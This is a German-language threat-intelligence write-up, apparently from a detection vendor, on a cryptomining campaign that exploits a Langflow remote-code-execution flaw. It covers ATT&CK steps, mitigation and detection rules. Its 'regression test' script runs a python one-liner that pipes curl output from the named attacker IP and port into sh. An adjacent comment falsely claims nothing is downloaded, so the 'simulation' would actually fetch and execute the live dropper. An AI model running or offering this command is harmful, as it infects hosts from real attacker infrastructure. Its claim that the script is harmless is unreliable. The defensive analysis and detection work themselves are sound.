SOC Prime Bias: Kritisch

29 Jun 2026 07:25 UTC

CVE-2026-33017 Kryptominer-Kampagne: Von Langflow zu Monero

Author Photo
SOC Prime Team linkedin icon Folgen
CVE-2026-33017 Kryptominer-Kampagne: Von Langflow zu Monero
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine Kryptowährungs-Mining-Kampagne nutzt eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle in Langflow aus, um einen angepassten Go-basierten Miner einzusetzen. Die Angriffskette verwendet einen Bash-Skript-Downloader, um Persistenz zu etablieren und sich über wiederverwendete SSH-Schlüssel lateral zu bewegen. Die Malware deaktiviert auch Sicherheitsmaßnahmen auf Host-Ebene und beendet konkurrierende Mining-Prozesse, um die verfügbaren Systemressourcen zu maximieren.

Untersuchung

Forscher überwachten die Kampagne über ein 19-tägiges Fenster und identifizierten ein konsistentes Exploitationsmuster mit einem fest kodierten flow_id und rotierenden User-Agent-Strings. Ihre Untersuchung ergab einen mehrstufigen Angriff, der um einen Go-basierten Binärnamen aufgebaut war lambsys.elf, der Verteidigungsausweichen, Protokollentfernung und Watchdog-gestützte Persistenz handhabte. Basierend auf Benutzerlöschverhalten und Techniken zur seitlichen Bewegungen wird angenommen, dass die Toolchain gemeinsame Ursprünge mit der KORKERDS- oder der MALXMR-Familie hat.

Minderung

Organisationen sollten Langflow auf Version 1.9.0 oder neuer aktualisieren, um das Remote-Code-Exekutionsproblem zu beheben. Es wird auch dringend empfohlen, die öffentliche Internet-Exposition von Langflow-Instanzen zu blockieren und den Dienst nicht mit übermäßigen Privilegien auszuführen. Zusätzliche Kontrollen sollten sicherstellen, dass öffentliche Flows keine nicht authentifizierten Eingaben akzeptieren können, die die Code-Ausführung auslösen.

Reaktion

Wenn diese Aktivität erkannt wird, sollten Sicherheitsteams sie sowohl als Kryptomining-Kompromentzieh als auch als möglichen SSH-Schlüssel-Expositionsvorfall behandeln. Sofortige Schritte sollten das Rotieren aller potenziell exponierten SSH-Schlüssel und das Überprüfen verbundener Hosts auf Anzeichen seitlicher Bewegungen umfassen. Teams sollten auch Systemprotokolle auf unautorisierte Kontoerstellung oder -löschung prüfen und Systeme auf unautorisierte Sicherheitskonfigurationsänderungen untersuchen.

"flowchart TD step_reconnaissance["T1595.002 – Aktives Scannen: Verwundbarkeitsscan: User-Agent-Rotation zur Fingerabdruck-Erstellung des Ziels und Überprüfung auf Auto_Login-Schwachstelle"] step_exploitation["T1210 – Ausnutzung Remote-Dienste: Ausnutzung CVE-2026-33017 in Langflow API via POST-Anfrage"] step_execution["T1059 – Ausführung: Python __import__(‚os‘).system-Primitive zur Auslösung von Shell-Befehlen"] step_ingress_transfer["T1105 – Toolübertragung beim Import: Herunterladen des isp.sh-Downloaders via curl oder wget"] rules_for_ingress_transfer("<b>Regelname</b>: Remote Datei-Upload / -Download über Standard-Tools (via cmdline)<br/><b>Regel-ID</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>Regelname</b>: Verdächtiger Datei-Download Direkt-IP (via Proxy)<br/><b>Regel-ID</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 – Beharrlichkeit: Cronjob und Bash-Schleifen-Skript (init_rmount) für die Watchdog-Funktionalität"] step_credential_access["T1552.004 – Berechtigungszugriff: Enumerierung von SSH-Privatschlüsseln und SSH_AUTH_SOCK-Abfragen"] step_lateral_movement["T1021.004 – Seitliche Bewegung: SSH-Wurm-Mechanismus, der auf erreichbare Hosts in known_hosts abzielt"] step_defense_impairment["T1685 – Verteidigungsbeeinträchtigung: Deaktivierung von ufw, iptables, AppArmor und SELinux"] step_indicator_removal["T1070 – Indikatorenentfernung: Löschen von /var/log/syslog, um die Untersuchung zu behindern"] step_command_and_control["T1102.003 – Befehl und Kontrolle: lambsys.elf sendet JSON-Heartbeat über HTTP POST an 83.142.209.214"] step_resource_hijacking["T1496.001 – Ressourcenbeschlagnahmung: Computer-Beschlagnahmung: Bereitstellung von procq (XMRig) zum Monero-Mining"] step_reconnaissance –>|führt-zu| step_exploitation step_exploitation –>|aktiviert| step_execution step_execution –>|initiiert| step_ingress_transfer step_ingress_transfer -.->|erkannt_durch| rules_for_ingress_transfer step_ingress_transfer –>|führt-zu| step_persistence step_persistence –>|dann| step_credential_access step_credential_access –>|ermöglicht| step_lateral_movement step_lateral_movement –>|führt-zu| step_defense_impairment step_defense_impairment –>|dann| step_indicator_removal step_indicator_removal –>|führt-zu| step_command_and_control step_command_and_control –>|resultiert_in| step_resource_hijacking "

Angriffsfluss

Simulation Execution

Voraussetzung: Der Telemetrie- & Baseline-Vorflug-Check muss bestanden worden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifer-Technik (TTP), die dazu bestimmt ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und das Ziel haben, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

  • Angriffsnarrativ & Befehle: Der Angreifer identifiziert eine verwundbare Langflow-Instanz auf einem Linux-Server. Mit der CVE-2026-33017-Schwachstelle injiziert der Angreifer eine bösartige Python-Nutzlast in eine Anfrage. Das Ziel ist es, die Perimeterverteidigung zu umgehen und einen Monero-Kryptominer zu installieren. Die Nutzlast verwendet Python’s os.system , um /bin/shaufzurufen, welches dann ein Shell-Skript (isp.sh) von der Infrastruktur des Angreifers (83.142.209.214:8080) herunterlädt und es direkt in eine Shell für sofortige Ausführung pipiert.

  • Regressionstest-Skript:

    #!/bin/bash
    # Simulation der CVE-2026-33017-Ausnutzung via Python-Injektion
    # Dieses Skript imitiert die genaue Befehlszeile, nach der die Erkennungsregel sucht.
    
    echo "[+] Simulation gestartet: CVE-2026-33017-Ausnutzung"
    
    # Wir verwenden python3, um den spezifischen String auszuführen, der von der Regel-Logik verlangt wird
    # Hinweis: Wir laden nichts tatsächlich herunter; wir imitieren nur den Befehlsstring.
    python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')"
    
    echo "[+] Simulationsbefehl ausgeführt."
  • Bereinigungsbefehle:

    # Es wurden keine dauerhaften Änderungen durch das Simulationsskript vorgenommen; 
    # sollten jedoch Dummy-Dateien erstellt worden sein, sollten sie entfernt werden.
    echo "[+] Bereinigung der Simulationsartefakte..."
    # (Keine Artefakte wurden in dieser spezifischen Befehlszeilensimulation erstellt)